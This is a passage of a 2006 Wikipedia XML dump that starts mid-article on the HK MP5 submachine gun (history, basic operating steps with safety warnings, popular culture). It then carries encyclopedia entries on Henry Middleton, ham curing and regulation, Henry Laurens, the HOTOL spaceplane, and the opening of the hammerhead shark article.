With the increased use of body armor, the future of the MP5 is uncertain. Several new trends in gun design have begun to eclipse the submachine gun; small caliber PDW like HK's new [[MP7]] and compact carbines such as the [[M4 Carbine|M4]], [[AKS-74]], the G36C variant of HK's [[Heckler &amp; Koch G36|G36]], and the [[XM8 rifle]] based on the G36. The only major criticism of the MP5 has been its high cost &amp;mdash; approximately 900 [[United States dollar|USD]] for an MP5N &amp;mdash; the same price as an assault rifle. HK has started to complement the MP5 series with the more powerful and cheaper [[HK UMP|UMP]], which is available in [[.45 ACP]], .40 S&amp;W and 9 mm Parabellum calibers. However, since the UMP uses a simple blowback action, it may not necessarily be a rival for the MP5 among the most discriminating users.

One famous [[counter-terrorism|counter-terrorist]] operation involving this gun is [[Operation Nimrod]] on [[April 30]], [[1980]] in the UK, where the [[Special Air Service]] (SAS), armed with MP5s, was deployed to assault the terrorists who had taken over the [[Iran]]ian embassy in [[London]].

An MP5 was used by Crown Prince [[Dipendra of Nepal|Dipendra]] of [[Nepal|Nepal]] to [[massacre|massacre]] the royal family (including King [[Birendra of Nepal|Birendra]] and [[Queen Aiswarya]]), in a shooting spree in 2001.

==Operation==
''Keep the finger off of the trigger until target has been selected and you are ready to fire. Always point the weapon in a safe direction. Always treat the weapon as if it were loaded.''

===Loading===

#On models with &quot;SEF&quot; trigger group, place selector (found on the left side of weapon, above pistol grip) to &quot;S&quot; position. On models with &quot;Pictogram&quot; trigger group rotate rear of selector all the way up, so that front of selector points to depiction of bullet with X through it ''(will be only depiction outlined in white)''. Weapon is now safed.
#Holding the weapon by the pistol grip with the right hand, grasp charging handle located on front left side of weapon with the left hand and pull all the way to rear, lock into place by maneuvering handle clockwise into slot found near top of weapon. 
#Insert loaded magazine into magazine well located directly behind rear of foregrip.
#Grasp charging handle with left hand, maneuver handle down back into travel slot. Release handle, allowing it to slam forwards. Hitting the top of the gun hard enough with the palm of the hand will also allow the bolt to slam closed by itself.

The weapon is now loaded.

===Firing===

#While holding the weapon by the pistol grip with the right hand, and having the left hand  supporting front of weapon by grasping the foregrip (reverse hand positions if left-handed), place buttstock of weapon firmly against shoulder.
#Depending on model*, rotate selector down one position to &quot;E&quot; or to image of single red bullet. Weapon will now fire one bullet each time trigger is pulled. If fully-automatic fire is desired, rotate selector to &quot;F&quot;, or depiction of 7 red bullets in a row.
#Select target and place top of post sticking up from front site over target. Center top of post inside aperture of rear sight (see [http://hkpro.com/sights.htm] for more in depth sighting procedures), gently squeeze trigger.

''*Some models will have burst options (2 or 3 red bullets in a row), or will be labeled numerically (0 for safe, 1 for semi-automatic, 20 or 25 for fully-automatic)''

===Unloading===

#Holding weapon by the pistol grip with the right hand, use right thumb to rotate selector to safe position.
#With left hand, grasp magazine. Place left thumb between magazine release (~4mm-thick piece of metal sticking down from bottom of gun) and front of trigger guard. While grasping the magazine with the left hand, use the left thumb to push the magazine release towards the magazine, and while holding the release in this position, pull the magazine out of the magazine well.
#Pull back charging handle and lock to rear via slot mentioned in step two of loading procedure, if weapon is &quot;condition 1&quot; (meaning cocked with round chambered) prepare for round to be ejected from right side of weapon when charging handle is brought to rear. Collect round and temporarily store in a place where it will not be lost.
#After charging handle has been locked in the rearward position, visually inspect weapon to be sure no round remains in the chamber. This is done by rotating the weapon so that the right side faces up, and looking forwards into the ejection port. Chambered round should be fairly easy to spot by its golden-brass color. If any doubt remains as to status of weapon, inspect chamber physically by inserting finger through ejection port and feeling around chamber. 

:'''WARNING:''' Be sure charging handle is securely positioned to the rear; the handle going forwards when a finger is inside the weapon will cause injury to the user. 

After the weapon has been visually/physically inspected it can be declared as &quot;Condition 3&quot; (unloaded). When the weapon is unloaded, the charging handle should remain in the rearward position, with no magazine inserted in order to signify its condition to any others who may be around, or handling the weapon.

[[Image:Elián González Breaking News Photography.GIF|thumb|230px|[[Elián González]] taken by INS agent armed with MP5]]
==Popular culture==

The MP5 is a very popular image in [[popular culture]]. It is a very common movie and TV prop.

It appears in countless films such as ''[[Air Force One (film)|Air Force One]]'', ''[[Batman Begins]]'', ''[[Bad Boys II]]'', ''[[Die Hard]]'', ''[[Mission: Impossible III]]'', ''[[Predator (film)|Predator]]'', ''[[Returner]]'', ''[[S.W.A.T. (film)|S.W.A.T.]]'', ''[[Terminator 3: Rise of the Machines]]'', ''[[The Matrix]]'', ''[[The Rock (film)|The Rock]]'' and ''[[Tomorrow Never Dies]]'', to name a few. It is also present in the [[Television program|TV series]] ''[[Stargate SG-1]]''.

It is notable that up until the 1990s, the MP5 and [[Uzi submachine gun|Uzi]] were the only non-American (designed abroad) weapons that were as widespread in Hollywood productions as the US-produced [[Colt Firearms|Colt]] [[M1911]] pistols, [[M16 (rifle)|M16]] assault rifles, [[Thompson submachine gun|Tommy Guns]] and revolvers.

[[Image:Rote armee fraktion logo.png|thumb|100px|RAF logo with [[red star]] and MP5 (with straight, or &quot;waffle&quot;, magazine)]]

The MP5 is also commonly used in written popular culture. The most famous of which is in the novel ''[[Rainbow Six (book)|Rainbow Six]]'', where [[Tom Clancy]] arms his fictional counter-terrorist team with suppressed MP5/10s. Clancy nicknames them MP10s, from where the common misconception of the correct designation is sourced.

Many [[computer and video games]] feature the MP5 as a playable weapon. It appears in name or similarity in many [[First-person shooter|first-person shooter]]s and other types of games, most famously ''[[Half-Life]]'', ''[[Max Payne 2]]'', ''[[Counter-Strike]]'', ''[[Tom Clancy's Rainbow Six]]'' series, ''[[Grand Theft Auto (series)|Grand Theft Auto]]'' series, ''[[SOCOM: U.S. Navy SEALs]]'' series, ''[[Battlefield 2]]'', ''[[Perfect Dark Zero]]'' and ''[[Far Cry]]'', among many others.

The MP5 is also pictured in the logo of the former German radical leftist terrorist group the [[Red Army Faction]] (right picture).

{{-}}

==See also==
* [[Heckler &amp; Koch MP5K]]
* [[Heckler &amp; Koch MP7]]
* [[Heckler &amp; Koch UMP]]
* [[Uzi submachine gun]]
* [[Firearm]]
* [[List of individual weapons of the U.S. Armed Forces]]

==External links==
* [http://www.heckler-koch.de official website]
* [http://www.hkdefense.us/pages/military-le/smg/mp5/mp5.html US regional HK MP5 website]
* [http://www.hkpro.com/mp5.htm MP5 at HKPRO]
* [http://www.scottsdalegunclub.com/mga_machineguns/MP5.html Photos and descriptions of all MP5 variants at Scottsdale Gun Club]
*[http://www.nazarian.no/wep.asp?id=174&amp;group_id=4&amp;country_id=60&amp;lang=0 Nazarian`s Gun`s Recognition Guide]

==Video links==
* [http://www.nazarian.no/wep.asp?id=174&amp;group_id=4&amp;country_id=60&amp;lang=0&amp;p=7 Nazarian's Guns Recognition Guide (FILM) MP5/MP5 With external silencer (.swf)]
* [http://www.nazarian.no/wep.asp?id=174&amp;group_id=4&amp;country_id=60&amp;lang=0&amp;p=8 Nazarian's Guns Recognition Guide (FILM) MP5SD With integrated silencer (.MOV)]

==Manual==
*[http://www.nazarian.no/images/wep/174_hkmp5manual.pdf Nazarian's Guns Recognition Guide (MANUAL) HK MP5 Manual (.pdf)]


[[Category:Submachine guns]]

[[da:MP5]]
[[de:MP5]]
[[fr:MP5]]
[[ko:헤클러&amp;코흐 MP5]]
[[he:MP5]]
[[nl:HK MP-5]]
[[ja:MP5]]
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[[pl:Pistolet maszynowy MP 5]]
[[sl:Heckler &amp; Koch MP5]]
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[[zh:MP5冲锋枪]]</text>
    </revision>
  </page>
  <page>
    <title>Henry Middleton</title>
    <id>14298</id>
    <revision>
      <id>41984195</id>
      <timestamp>2006-03-03T01:14:16Z</timestamp>
      <contributor>
        <username>Cmdrjameson</username>
        <id>101935</id>
      </contributor>
      <minor />
      <comment>sp (4): daugther→daughter, marraige→marriage</comment>
      <text xml:space="preserve">'''Henry Middleton''' ([[1717]] &amp;ndash; [[June 13]], [[1784]]) of [[South Carolina]] was the second [[President of the Continental Congress|President]] of the [[Continental Congress]], and thus the leader of what was to become the [[United States]], from [[October 22]], [[1774]] until [[Peyton Randolph]] was able to resume his duties briefly beginning on [[May 10]], [[1775]].

He was preceded in office by [[Peyton Randolph]] and succeeded first by [[Peyton Randolph]] for a few days, then by [[John Hancock]].

While a delegate to the [[Continental Congress]], he resigned in order to prepare for the coming war.  He was replaced by his son [[Arthur Middleton]] (1742-1787), who went on to sign the [[Declaration of Independence]] and the [[Articles of Confederation]].  

Arthur's son, also named [[Henry Middleton (governor)|Henry]] (1770-1846), had a long career in politics. He was [[List of Governors of South Carolina|Governor of South Carolina]] (1810-1812), [[U.S. Representative]] (1815-1819), and the Minister to [[Russia]] (1820-1830).

Several of Henry's other children married well:
*Henrietta was married to [[Edward Rutledge]].
*Sarah was the first wife of [[Charles Cotesworth Pinckney]]. 
*Thomas married Anne Manigault; one daughter Esther married Ralph Stead Izard a distant cousin of South Caroina Congressman [[Ralph Izard]] &amp; Alice De Lancey.(Alice was niece of [[James DeLancey]]; [[James DeLancey]]'s sister Susannah was the wife of Sir [[Peter Warren]] (Admirial). Another daughter Elizabeth Middleton was married to Ralph DeLancey Izard son of [[Congressman]] [[Ralph Izard]]. 
{Note: Joseph-a brother of Anne Manigault- was first married to a daughter of [[Arthur Middleton]] and Mary Izard; by Joseph Manigault's second marriage he was the father of [[Confederate]] [[General]] Arthur Middleton Manigault (1824-1886)whose wife was a cousin 1st removed of [[Confederate]] [[General]] [[Benjamin Huger]]} 

==External links==
*[http://bioguide.congress.gov/scripts/biodisplay.pl?index=M000698 biographic sketch at U.S. Congress website]

{{start box}}
{{succession box| title=[[President of the Continental Congress|President of the First Continental Congress]]| before=[[Peyton Randolph]]| after=[[Peyton Randolph]]&lt;br&gt;''(as President of the Second Continental Congress)''| years=[[October 22]], [[1774]] &amp;ndash; [[October 26]], [[1774]]}}
{{end box}}

[[Category:1717 births|Middleton, Henry]]
[[Category:1784 deaths|Middleton, Henry]]
[[Category:Continental Congressmen|Middleton, Henry]]</text>
    </revision>
  </page>
  <page>
    <title>Ham</title>
    <id>14299</id>
    <revision>
      <id>41042082</id>
      <timestamp>2006-02-24T17:58:03Z</timestamp>
      <contributor>
        <username>Stephenb</username>
        <id>292494</id>
      </contributor>
      <comment>Revert to revision 41041832 using [[:en:Wikipedia:Tools/Navigation_popups|popups]]</comment>
      <text xml:space="preserve">{{otheruses}}
[[Image:NCI clove ham.jpg|thumb|Ham with cloves]]
Technically, '''ham''' is the [[thigh]] and [[buttock]] of any [[animal]] that is [[slaughter|slaughtered]] for [[meat]], but the term is usually restricted to a cut of [[pork]], the haunch of a [[pig]] or [[boar]].  Although it can be cooked and served fresh, most ham is cured in some fashion.

Ham can either be dry-cured or wet-cured. A dry-cured ham has been rubbed in a mixture containing [[sodium chloride|salt]] and a variety of other ingredients (most usually some proportion of [[sodium nitrate]] and [[sodium nitrite]]).  [[Sugar]] is common in many dry cures in the [[United States]].  This is followed by a period of drying and aging. Dry-cured hams require a prolonged period of rehydration prior to consumption. A wet-cured ham has been cured with a brine, either by immersion or injection.  The division between wet and dry cure is not always hard-and-fast as some ham curing methods begin wet but are followed by dry aging.

The majority of common wet-cured ham available in U.S. supermarkets is of the &quot;city ham&quot; variety, in which brine is injected into the meat for a very rapid curing suitable for mass market.  Traditional wet curing requires immersing the ham in a brine for an extended period, often followed by light smoking.  Traditional wet cured ham includes the [[England|English]] ''Wiltshire ham''.

Dry-cured varieties include ''[[prosciutto]] crudo'' (the [[Italy|Italian]] style of dry-cured ham) and ''Parma ham'' or ''prosciutto di Parma'' (''prosciutto crudo'' from the city of [[Parma]]).  Spain has ''[[jamón serrano]]'' and jamón iberico.  The United States has ''country ham'' (including ''Virginia ham''), which is smoked.  [[England]] has the ''York ham''. [[Germany]]'s ''Westphalian ham'' is usually smoked over [[juniper]].

Ham is also processed into other meat products such as [[SPAM]] luncheon meat. Baked ham is also a traditional dish served on Easter.

==National regulation of ham production==
Each country that produces ham has its own regulations. 

===USA===
In the United States, ham is regulated primarily on the basis of its cure and water content.  US law (specifically the [[United States Department of Agriculture|USDA]]) recognizes the following categories:

Fresh ham is an uncured hind leg of pork. Country Ham is uncooked, cured, dried, smoked-or-unsmoked, made from a single piece of meat from the hind leg of a hog or from a single piece of meat from a pork shoulder.  [[Smithfield ham]], a country ham, must be made in or around [[Smithfield, Virginia]] to be sold as such.
[[image:ham.jpg|thumb|right|170px|Sliced ham]]
For most other purposes, under US law, a &quot;ham&quot; is a cured hind leg of pork that is at least 20.5% [[protein]] (not counting [[fat]] portions) and contains no added water.  However &quot;ham&quot; can be legally applied to such things as &quot;[[turkey (food)|turkey]] ham&quot; if the meat is taken from the thigh of the animal. If the ham has less than 20.5% but is at least 18.5% protein, it can be called &quot;ham with natural juices&quot;.  A ham that is at least 17.0% protein and up to 10% added solution can be called &quot;ham&amp;mdash;water added&quot;.  Finally, &quot;ham and water product&quot; refers to a cured hind leg of pork product that contains any amount of added water, although the label must indicate the percent added ingredients.  If a ham has been cut into pieces and molded, it must be labeled &quot;sectioned and formed&quot; or &quot;chunked and formed&quot;.

In addition to the main categories, some processing choices can affect legal labeling.  A &quot;smoked&quot; ham must have been smoked by hanging over burning wood chips in a [[smokehouse]], and a &quot;[[hickory]]-smoked&quot; ham must have been smoked over hickory.  Injecting &quot;smoke flavor&quot; is not legal grounds for claiming the ham was &quot;smoked&quot;.  Hams can only be labeled &quot;[[honey]]-cured&quot; if honey was at least 50% of the sweetener used and has a discernable effect on flavor.  So-called &quot;lean&quot; and &quot;extra lean&quot; hams must adhere to maximum levels of fat and [[cholesterol]] per 100 grams of product.

===Italy===
Earliest evidence of ham production in [[Italy]] comes from the [[Roman Republic|Republican Roman]] period ([[4th century BC|400]]-[[3rd century BC|300]] BCE). Modern Italian and [[European Union]] legislation grants a [[protected designation of origin]] to several hams, which specify where and how these types of ham can be produced.
There are several such hams from Italy, each one with a peculiar production process.
[[Parma]] ham, the so called [[Prosciutto di Parma]], has almost 200 producers concentrated in the eastern part of [[Parma]] Province. Its production is regulated by a quality consortium that recognizes qualifying products with distinctive mark. Only larger fresh hams are used (12-13 kilograms). Curing uses relatively little salt, producing a sweeter meat. After salting the meat is sealed with pig fat over the exposed muscle tissue, which slows drying. Curing occurs over a minimum 12 months. This curing method uses only salt, without nitrates and without spices. No conserving substances added. San Daniele ham (Prosciutto di San Daniele) is the most similar to Parma ham, especially the low quantity of salt added to the meat, and is the most prized ham.
Other raw hams include the so called &quot;nostrani&quot; or &quot;nazionali&quot; or &quot;toscani&quot;, they are more strongly flavored and are produced using a higher quantity of salt. Italy also has widespread production of more pedestrian cooked hams.  
See also [[prosciutto]].

===Spain===
One of the more exacting ham regulatory practices can be found in [[Spain]].  Not only are hams classified according to preparation, but the pre-slaughter diet and region of preparation are considered important. Spanish regulators recognize three types of ham hogs.

* Cellar hogs are fed only commercial feed.
* ''Recebo'' hogs are raised on commercial feed and fed acorns for the last few months of its life.
* ''Bellota'' hogs are fed a diet almost exclusively of [[acorn]]s (''bellotas'').

The regional appelations of Spanish ham (''[[jamón serrano]]'') include the following:
* [[Huelva]], a full-flavored ham produced in [[Cadiz]], [[Córdoba]], Huelva, [[Málaga]], [[Seville]], and [[Badajoz]].
* [[Guijuelo]], from [[Gredos]] and [[Béjar]], [[Castile]], [[León]], [[Extremadura]], and [[Andalusia]].
* Extremadura Dehesa, made in [[Cáceres]] and [[Badajoz]] exclusively of bellota hogs.  This is a &quot;white&quot; ham.
* [[Teruel]], cured at least 800 meters above sea level, with a minimum of a year of curing and aging.

==19th-century United States wet/dry curing recipe==
(From [http://www.mspong.org/cyclopedia/rural_economy.html#cure_hams The Household Cyclopedia], [[1888]])

(This is reproduced, word for word, from the original source with added noted in parentheses. Vinegar is not typically used in ham curing in the present day.)

For each ham of twelve pounds weight: Two pounds of [[Sodium chloride|common salt]]; 2 ounces of [[Potassium nitrate|saltpetre]]; 1/4 pound of bay salt (coarse salt, possibly sea salt); 1/4 pound of coarse [[sucrose|sugar]]. This should be reduced to the finest powder. Rub the hams well with it; female hands are not often heavy enough to do this thoroughly. Then place them in a deep pan, and add a wineglassful (1/4 cup or 2 [[Fluid ounce|US fl. oz]]) of good [[vinegar]] (This may have been stronger than the &quot;5 grain&quot; vinegar usually available in the modern USA). Turn the hams every day; for the first three or four days rub them well with the brine; after that time it will suffice to ladle it over the meat with a wooden or iron spoon. They should remain three weeks in the pickle. When taken from it wipe them well, put them in bags of brown paper ''&lt;nowiki&gt;[Warning: the &quot;brown paper&quot; of a modern grocery sack should not be used in this fashion. The recipe probably refers to very plain, unbleached paper. &quot;Brown paper bags&quot; are made from a variety of unknown pulp sources and may have a variety of inappropriate chemicals.]&lt;/nowiki&gt;'' and then (cold) [[Smoking (food)|smoke]] them with wood smoke for three weeks.

==External links==
[http://www.fsis.usda.gov/Fact_Sheets/Ham/index.asp] United States Department of Agriculture: Focus on Ham
{{cookbookpar|Ham}}

[[Category:Cold cut]]
[[Category:Pork]]

[[cs:Šunka]]
[[de:Schinken]]
[[es:Jamón]]
[[eo:&amp;#348;inko]]
[[fr:jambon]]
[[nl:Ham (vlees)]]
[[ja:&amp;#12495;&amp;#12512; (&amp;#39135;&amp;#21697;)]]
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[[fi:Kinkku]]</text>
    </revision>
  </page>
  <page>
    <title>Henry Laurens</title>
    <id>14300</id>
    <revision>
      <id>33112926</id>
      <timestamp>2005-12-29T11:39:56Z</timestamp>
      <contributor>
        <username>Darwinek</username>
        <id>107928</id>
      </contributor>
      <comment>added photo</comment>
      <text xml:space="preserve">[[Image:henry laurens.jpg|thumb|250px|Henry Laurens]]

'''Henry Laurens''' ([[1724]]&amp;ndash;[[1792]]) was an [[United States|American]] merchant and planter from [[South Carolina]] who became a political leader during the [[American Revolutionary War|Revolutionary War]]. He was a delegate to the [[Continental Congress]], the third President of the Second Continental Congress ([[November 1]], [[1777]] - [[December 9]], [[1778]]), the Vice-President of South Carolina, and a diplomat.

==Personal life==
Henry was born to John and Esther Grasset Laurens on [[March 6]], 1724 in [[Charleston, South Carolina]]. His father was a saddler and his parents had come to  Charles Town as part of the [[Huguenot]] immigration, drawn by the promise of religious liberty. His family prospered, and in [[1744]] Henry went to [[England]] where he learned the ways of commerce from a merchant who had formerly lived in Charleston.

Henry returned to Charleston in 1747. He entered the export and import business and became a prosperous merchant. On [[June 25]], [[1750]] he married Eleanor Ball. The couple would have twelve children. While seven died in infancy or childhood, others achieved prominence. Their son [[John Laurens]] fought and died in the Revolution. Their daughter Mary married [[Charles Pinckney (governor)|Charles Pinckney]], while their son Henry married Eliza, the daughter of [[John Rutledge]].

In 1772, Henry, like many successful American merchants began to buy farmland. He purchased 3,000 acres (12 km&amp;sup2;) at [[Mepkin Abbey|Mepkin]]. Although he later bought another 20,000 acres (81 km&amp;sup2;), Mepkin became the family seat. By 1776 he had given up his mercantile ventures, although he always ran his plantations in a very business-like way.

==Political career==
[[Image:Washington Gates Franklin Laurens Jones 1784.jpg|thumb|left|1. General [[George Washington]] 2. General [[Horatio Gates]] 3. Dr. [[Benjamin Franklin]] 4. Präsid Laurens 5. [[John Paul Jones]] / D. Berger sculp. 1784.]]

Laurens served in the militia, as did most able bodied men in his time.  He rose to the rank of Lt. Colonel in campaigns against the [[Cherokee]] [[Native Americans in the United States|Indians]] in 1757-1761.  [[1757]] also marked the first year he was elected to the colonial assembly. He was elected again every year but one until the revolution replaced the assembly with a state Convention as an interim government.  The year he missed was [[1773]] when he visited England to arrange for his children's education.  He was named to the colony's Council in 1764 and 1768, but declined both times.  In [[1772]] he joined the [[American Philosophical Society]] of [[Philadelphia, Pennsylvania|Philadelphia]], and carried on some extensive correspondence with other members.

As the [[American Revolution]] neared, Laurens first inclination was to support reconciliation with the [[United Kingdom|British Crown]].  But as conditions deteriorated he came to fully support the American position.  When Carolina began the creation of a revolutionary government, he was elected to the Provincial Congress which first met on [[January 9]], [[1775]].  He was president of the ''Committee of Safety'', and presiding officer of that congress from June until March of [[1776]].  When South Carolina installed a full independent government, he served as the Vice President of South Carolina from March of 1776 to [[June 27]], [[1777]]. 

Henry Laurens was first named a delegate to the [[Continental Congress]] on [[January 10]], [[1777]].  He served in the Congress from then until [[1780]].  He was the [[President of the Continental Congress]] from [[November 1]], 1777 to [[December 9]], [[1778]].

In the fall of [[1779]] the Congress named Laurens their minister to [[Netherlands|Holland]].  In early [[1780]] he took up that post and successfully negotiated Dutch support for the war.  But on his return voyage that fall the British Navy intercepted his ship and discovered the draft of a possible U.S.-Dutch treaty prepared by [[William Lee]]. This treaty was used as a reason for war between Great Britain and the Netherlands. Laurens was charged with treason and imprisoned in the [[Tower of London]].  This became another issue between the British and Americans.  In the field, most captives were regarded as prisoners of war, and while conditions were frequently appalling, prisoner exchanges and mail privileges were accepted practice.  Finally, on [[December 31]], [[1781]] he was released in exchange for General [[Charles Cornwallis, 1st Marquess Cornwallis|Lord Cornwallis]] and completed his voyage.

In [[1783]] Laurens was in [[Paris]] as one of the Peace Commissioners for the negotiations leading to the [[Treaty of Paris (1783)|Treaty of Paris]].  While he didn't sign the primary treaty, he was instrumental in reaching the secondary accords that resolved issues involving the Netherlands and [[Spain]].  He generally retired from public life in 1784.  He was sought for a return to the Continental Congress, the [[Constitutional Convention (United States)|Constitutional Convention]] in [[1787]] and the state assembly, but he declined all of these jobs. He did serve in the state convention of [[1788]] where he voted to ratify the [[United States Constitution]].

==Later events==
The British forces from Charleston had burned the main home at Mepkin during the war. When Henry returned in [[1784]], the family lived in an outbuilding while the manor was rebuilt. He lived there the rest of his life, working to recover the estimated 40,000 pounds that the revolution had cost him. ''(This would be equivalent to about $3,500,000 in 2000 values.)'' He died at Mepkin on [[December 8]], 1792, and afterward was cremated and his ashes were interred there. The estate at Mepkin passed through several hands, but large portions of the estate still exist, and are now a [[Trappist]] abbey.

Some aspects of the life of Henry Laurens were used in creating the fictional character ''Benjamin Martin'' in the 2000 motion picture ''[[The Patriot (2000 film)|The Patriot]]''. Like Martin, he maintained a residence in Charleston and was a reluctant rebel. While he didn't see military service, his home was burned and his oldest son died in battle.

The city of [[Laurens, South Carolina|Laurens]] is named for him. General [[Lachlan McIntosh]], who worked for Laurens as a clerk and became close friends with him, named [[Fort Laurens]] after him.

==External links==
*[http://bioguide.congress.gov/scripts/biodisplay.pl?index=L000121 Laurens' Congressional Biography]
*[http://www.mepkinabbey.org/home.htm Mepkin Abbey web site]

==Additional reading==
*Henry Laurens (Philip Hamer, editor); ''Papers of Henry Laurens, (10 volumes)''; 1915, New York, G. P. Putnam's Sons.
*David D. Wallace; &quot;The Life of Henry Laurens: With a Sketch of the Life of Lieutenant Colonel John Laurens&quot;; 1967, Russell &amp; Russell Publishers,  ISBN 0846210150.

{{start box}}
{{succession box| title=[[President of the Continental Congress|President of the Second Continental Congress]]| before=[[John Hancock]]| after=[[John Jay]]| years=[[November 1]], [[1777]] &amp;ndash; [[December 9]], [[1778]]}}
{{end box}}

[[Category:1724 births|Laurens, Henry]]
[[Category:1792 deaths|Laurens, Henry]]
[[Category:Continental Congressmen|Laurens, Henry]]
[[Category:Lieutenant colonels|Laurens, Henry]]
[[Category:People from South Carolina|Laurens, Henry]]

[[nl:Henry Laurens]]</text>
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  </page>
  <page>
    <title>HOTOL</title>
    <id>14301</id>
    <revision>
      <id>38101860</id>
      <timestamp>2006-02-04T04:42:45Z</timestamp>
      <contributor>
        <username>Wolfkeeper</username>
        <id>41690</id>
      </contributor>
      <minor />
      <comment>cat: reusable launch vehicles</comment>
      <text xml:space="preserve">'''HOTOL''', for ''Horizontal Take-Off and Landing'', was an unrealised [[United Kingdom|British]] space shuttle proposal.

Designed as a [[single stage to orbit|single-stage-to-orbit]] (SSTO) reusable winged launch vehicle, it was to be fitted with a unique [[liquid air cycle engine]] (LACE) engine, the [[RB545]], built by [[Rolls-Royce plc|Rolls Royce]]. The engine was technically a liquid hydrogen/liquid oxygen design, but by collecting and liquifying [[oxygen]] from the air as the spacecraft climbed, the amount of [[LOX]] (liquid oxygen) carried onboard was dramatically reduced. Since LOX typically represents the majority of the takeoff weight of a rocket, HOTOL was considerably smaller than normal all-LOX designs, roughly the size of a medium-haul airliner such as the [[MD-80]].

HOTOL would have been 63 metres long, 7 metres in diameter and with a wingspan of 28 metres. The unmanned craft was intended to put a payload of around seven tonnes in orbit. It was intended to take off from a runway, mounted on the back of a large rocket-boosted trolley that would help get the craft up to &quot;working speed&quot;. The engine was intended to switch from jet propulsion to pure rocket propulsion at 26-32 km high, by which time the craft would be travelling at [[Mach number|Mach]] 5 to 7. After reaching orbit, HOTOL was intended to re-enter the atmosphere and glide down to land on a conventional runway. The internal landing gear were too small to carry the weight of the fully-fueled rocket, so emergency landings required the fuel to be dumped.

Development began with government funding in 1986. The design team was a joint effort between Rolls-Royce and [[British Aerospace]] led by John Scott and Dr Bob Parkinson.

During development, it was found that the comparatively heavy rear-mounted engine moved the center of mass of the vehicle rearwards. This meant that the vehicle had to be designed to push the center of drag as far rearward as possible to ensure stability over the entire flight regime. Redesign of the vehicle to do this cost a significant proportion of the payload, and made the economics unclear.

In  1988 the Conservative government withdrew further funding, the project was approaching the end of its design phase but the plans were still speculative and dogged with aerodynamic problems and operational disadvantages.

A cheaper redesign, '''Interim HOTOL''' or '''HOTOL 2''', to be launched from the back of an [[Antonov An-225]] [[transport aircraft]], was offered by [[British Aerospace|BAE]] in 1991 but that too was rejected.

[[Alan Bond (rocket developer)|Alan Bond]] has formed Reaction Engines Limited where they have since been working on the [[Skylon]] vehicle which seems to avoid many of the problems of HOTOL.

[[Category:Spaceplanes]]
[[Category:Single stage to orbit]]
[[Category:Reusable launch vehicles]]
[[de:HOTOL]]</text>
    </revision>
  </page>
  <page>
    <title>Homo sapiens sapiens</title>
    <id>14303</id>
    <revision>
      <id>15911865</id>
      <timestamp>2002-10-10T11:33:55Z</timestamp>
      <contributor>
        <username>Magnus Manske</username>
        <id>4</id>
      </contributor>
      <minor />
      <comment>#REDIRECT [[Human]]</comment>
      <text xml:space="preserve">#REDIRECT [[Human]]</text>
    </revision>
  </page>
  <page>
    <title>Hammerhead Shark</title>
    <id>14305</id>
    <revision>
      <id>15911867</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Hammerhead shark]]
</text>
    </revision>
  </page>
  <page>
    <title>Hammerhead shark</title>
    <id>14306</id>
    <revision>
      <id>39096139</id>
      <timestamp>2006-02-10T18:13:43Z</timestamp>
      <contributor>
        <username>Uris</username>
        <id>174426</id>
      </contributor>
      <comment>Removed space at top.</comment>
      <text xml:space="preserve">{{dablink|For the [[Star Wars]] character nicknamed “Hammerhead”, see [[Ithorians]].}}
{{Taxobox
| color = pink
| name = Hammerhead shark
| image = Hammerheadshark.jpg
| image_width = 250px
| regnum = [[Animal]]ia
| phylum = [[Chordate|Chordata]]
| classis = [[Chondrichthyes]]
| ordo = [[Carcharhiniformes]]
| familia = [[Sphyrnidae]]
| genus = '''''Sphyrna'''''
| genus_authority = [[Constantine Samuel Rafinesque-Schmaltz|Rafinesque]], 1810
| subdivision_ranks = Species
| subdivision = 
''[[Scalloped Hammerhead|Sphyrna (Sphyrna) lewini]]''&lt;br /&gt;
''[[Great Hammerhead|Sphyrna (Sphyrna) mokarran]]''&lt;br /&gt;
''[[Smooth Hammerhead|Sphyrna (Sphyrna) zygaena]]''&lt;br /&gt;
''[[Whitefin Hammerhead|Sphyrna (Sphyrna) couardi]],''&lt;br /&gt;
''[[Scalloped Bonnethead|Sphyrna (Mesozygaena) corona]]''&lt;br /&gt;
''[[Scoophead|Sphyrna (Platysqualus) media]]''&lt;br /&gt;
''[[Bonnethead|Sphyrna (Platysqualus) tiburo]]''&lt;br /&gt;
''[[Golden Hammerhead|Sphyrna (Platysqualus) tudes]]''
}}The '''hammerhead shark''' ([[genus]] ''Sphyrna'') is a member of the family [[Sphyrnidae]]. The only other genus of Sphyrnidae, ''[[Eusphyra]]'', contains only one species, ''E. blochii'', the [[winghead shark]]). 

The eight species of hammerhead range from 2&amp;ndash;6&amp;nbsp;m long, and all species have projections on both sides of the head that give it a resemblance to a flattened [[hammer]]. The shark's eyes and nostrils are at the tips of the extensions. 

It is an aggressive [[predator]] that eats [[fish]], [[batoidea|rays]], other [[shark]]s, [[cephalopod]]s, and [[crustacean]]s. It is found in warmer waters along coastlines and [[continental shelf|continental shelves]].

The shape of the head seems to act as a wing, aiding in close-quarters maneuverability, allowing sharks to execute sharp turns without loss of stability. It also seems to help in electrolocation by separating the receptors, thus giving hammerheads a wider area of search.  These sharks have been able to detect an electronic signal of half a billionth of a volt. The hammer shaped head also gives these sharks larger nasal tract, increasing the chance of finding a particle in the water by at least 10 times as compared to other 'classical' sharks. Hammerheads have proportionately small mouths and seem to do a lot of bottom-hunting. They are also known to form schools during the day, sometimes in groups of over 100. In the evening, like other sharks, they become lonely hunters.

Reproduction in the hammerhead shark occurs once a year and each litter contains 12&amp;ndash;15 pups. Hammerhead shark mating courtship is a very violent affair. The male will bite the female until she acquiesces, allowing mating to occur. Unlike many other shark species, the hammerhead shark has internal fertilization which creates a safe environment for the [[sperm]] to unite with the [[ova|egg]]. The embryo develops within the female inside a [[placenta]] and is fed through an [[umbilical cord]], much like in mammals. The gestation period is 10&amp;ndash;12 months. Once the pups are born the parents do not stay with them and they are left to fend for themselves.

Of the eight species of hammerhead, three (3) can be dangerous to humans: the scalloped, great, and smooth hammerheads. 

*'''Genus ''Sphyrna'''''
**Subgenus ''Sphyrna''
***[[Scalloped Hammerhead]], ''S. (S.) lewini''
***[[Great Hammerhead]], ''S. (S.) mokarran''
***[[Smooth Hammerhead]], ''S. (S.) zygaena''
***[[Whitefin Hammerhead]], ''S. (S.) couardi''
**Subgenus ''Mesozygaena''
***[[Scalloped Bonnethead]], ''S. (M.) corona''
**Subgenus ''Platysqualus''
